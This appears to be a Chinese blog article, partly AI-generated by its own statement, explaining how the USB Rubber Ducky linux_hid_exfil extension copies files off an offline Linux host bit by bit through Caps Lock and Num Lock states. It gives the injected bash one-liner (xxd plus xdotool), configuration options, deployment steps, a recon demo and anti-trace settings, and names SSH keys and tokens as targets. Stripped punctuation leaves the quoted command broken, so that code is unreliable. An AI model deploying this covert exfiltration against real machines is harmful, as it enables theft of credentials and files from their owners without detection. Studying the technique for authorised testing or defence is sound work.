ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

linux_hid_exfil扩展详解:USB Rubber Ducky在Linux宿主上的无网数据渗出技巧

linux_hid_exfil扩展详解:USB Rubber Ducky在Linux宿主上的无网数据渗出技巧 linux_hid_exfil扩展详解USB Rubber Ducky在Linux宿主上的无网数据渗出技巧【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads本文详解 usbrubberducky-payloads 官方载荷库中的linux_hid_exfil扩展它让 USB Rubber Ducky 无需任何网络连接仅凭按键反射Keystroke Reflection能力在 Linux 宿主上把目标文件逐位敲回设备内部是纯 HID 数据渗出的概念验证PoC方案。一、背景三种数据渗出通道为什么选择纯HID 所谓数据渗出Data Exfiltration就是把目标机器上的敏感数据带出来的过程。在 USB Rubber Ducky 的世界里常见有三条通道网络渗出目标执行命令后把结果通过 HTTP、DNS 等方式发回攻击者服务器——优点是快缺点是需要联网且会留下网络流量痕迹。存储模式渗出让 Ducky 伪装成 U 盘ATTACKMODE STORAGE宿主把数据拷进设备。下图是典型的存储模式渗出结果——数据文件直接出现在 DUCKY 驱动器中按键反射渗出本文主角Ducky 全程只保持键盘身份不切换成 U 盘也不碰网络。数据通过锁定键CapsLock/NumLock的亮灭变化反射回设备。Linux 生态里也有其他隐蔽信道的尝试例如利用 ICMP 报文时序携带信息纯 HID 渗出最大的价值在于目标即使完全断网数据也能离开而且宿主上不需要落盘任何新文件、不需要挂载任何设备隐蔽性极强。二、核心原理按键反射如何把文件敲出来 ⌨️2.1 什么是 Keystroke Reflection按键反射USB HID 协议允许键盘类设备主动查询宿主键盘的锁定键 LED 状态。宿主收到查询后会真实地把自己键盘上 CapsLock、NumLock、ScrollLock 的亮灭状态反射回来。这就形成了一条宿主 → 设备的反向数据通道宿主每按一次锁定键Ducky 就能读回一个比特。2.2 位编码规则0 大写灯1 数字灯扩展的核心是宿主侧注入的一条 bash 命令逻辑非常直观# 宿主机端核心逻辑节选自 linux_hid_exfil.txt 的 RUN_LINUX_EXFIL cxdotool key --delay 4; bs$(xxd -b #TARGET_FILE | cut -d -f2-7); for((i0;i${#bs};i));do b${bs:$i:1}; if [[ $b 0 ]];then c Caps_Lock; fi; if [[ $b 1 ]];then c Num_Lock; fi; done; $c;xxd -b把目标文件转成一串二进制字符循环每一位遇到0就按Caps_Lock遇到1就按Num_Lock键间隔仅 4msDucky 侧每 20ms 轮询一次两个锁定键的 LED 状态状态发生变化就代表收到一个比特同时红/绿 LED 随之闪烁绿大写灯变化红数字灯变化相当于可视化的接收心跳。2.3 结束判定多久没动静才算传完传输没有显式的结束符而是靠静默判定依赖扩展EXFIL_AUTO_EOF_DETECT的WAIT_FOR_EOF()函数连续 10 次轮询每次 20ms约 200ms检测不到锁定键变化即判定数据传输结束EOF。这也意味着宿主至少要能反射两个锁定键CapsLock NumLock。三、快速上手配置项、依赖与部署信号 3.1 目标 Linux 主机的前置条件条件说明终端快捷键能通过Ctrl Alt T打开终端xdotool用于模拟按压锁定键xxd用于把文件转成二进制串锁定键反射桌面环境会向 HID 设备上报锁定键 LED 状态3.2 关键配置项一览DEFINE配置项默认值作用#TARGET_FILEfilename.txt宿主上待渗出的文件名调用函数前需先准备好该文件#SAVE_AND_RESTORE_LOCKSTRUE渗出前后保存/恢复宿主锁定键状态避免给用户遗留大写灯#ENABLE_EXFIL_LEDSTRUE用 Ducky 的 LED 反馈接收进度#CLOSE_TERMINAL_AFTER_EXFILTRUE完成后自动exit关闭终端窗口#RUN_SIMPLE_USAGE_DEMOFALSE演示模式开关见第五节3.3 依赖扩展EXFIL_AUTO_EOF_DETECT 必须先引入源码注释明确要求EXFIL_AUTO_EOF_DETECT扩展必须放在LINUX_HID_EXFIL之前。在 PayloadStudio 中依次添加两个扩展即可然后编译成inject.bin刷入 Ducky。3.4 部署与 LED 信号解读 就绪插入设备等待绿灯常亮渗出中红/绿 LED 随比特高速闪烁完成绿灯再次常亮随后宿主锁定键状态被恢复、终端自动关闭。四、流程拆解RUN_LINUX_EXFIL() 的六步动作关闭 LED进入接收指示模式保存宿主键盘锁定键的原始状态进入渗出模式向已打开的终端注入第二节那条 bash 一行命令宿主开始逐位按压锁定键传输结束后追加exit关闭终端WAIT_FOR_EOF()持续读取锁定键状态直到约 200ms 无变化判定结束恢复宿主锁定键原始状态退出渗出模式。五、演示模式RUN_SIMPLE_USAGE_DEMO 一键体验把#RUN_SIMPLE_USAGE_DEMO改为TRUE扩展会自带一个完整演示3 秒启动延迟 →CtrlAltT打开终端 → 执行uname -a #TARGET_FILE把内核与主机信息典型的侦察数据写入目标文件 → 立即调用RUN_LINUX_EXFIL()渗出。官方提醒不要直接修改演示代码块实际使用时应把这段逻辑复制到扩展外部作为模板使用。六、对照参考Linux 版与 Windows 版的差异仓库中同时提供了 Windows 版同类扩展两者思路一致、实现各异维度Linux本扩展Windowswindows_hid_exfil宿主工具bash xdotool 一行命令PowerShell SendKeys位编码0→Caps_Lock1→Num_Lock0→%{CAPSLOCK}1→%{NUMLOCK}结束信号静默 200msEOF 检测扩展显式 ScrollLock 标记 等待滚灯变化文件读取xxd -b 二进制化Get-Content -Encoding byte七、常见疑问 FAQ ❓目标需要联网吗不需要全程只走 USB HID 通道离线环境同样生效。能渗出多大的文件逐位按压、4ms 一位吞吐量有限适合 SSH 密钥、令牌、配置片段等小文件大文件建议改用存储模式或网络信道。会弄乱用户键盘吗默认开启#SAVE_AND_RESTORE_LOCKS结束后锁定键会恢复原状#CLOSE_TERMINAL_AFTER_EXFIL默认关闭终端不留痕迹。为什么某些 Linux 桌面跑不起来缺少 xdotool、终端快捷键不是CtrlAltT或系统未向 HID 设备反射锁定键 LED都会导致失败——这是 PoC 的已知边界。八、仓库资源导航 主扩展源码linux_hid_exfil.txt必需的依赖扩展exfil_auto_eof_detect.txtWindows 对照版扩展windows_hid_exfil.txt可选先做宿主系统识别再分流执行os_detect.txt相关载荷多系统 SSH 密钥渗出Exfiltrate_SSH_Key_and_Cert_multiOS/payload.txt相关载荷Linux ICMP 时序渗出lin-icmp_timing-based-data-exfiltration/README.md相关载荷存储模式哈希转储HashDumpDucky/payload.txt项目说明与贡献指南README.md · CONTRIBUTING.md⚖️合法使用提示本扩展与仓库内所有载荷仅用于安全教育与授权渗透测试请在拥有合法授权的环境中学习与演练遵守当地法律法规。【免费下载链接】usbrubberducky-payloadsThe Official USB Rubber Ducky Payload Repository项目地址: https://gitcode.com/GitHub_Trending/us/usbrubberducky-payloads创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表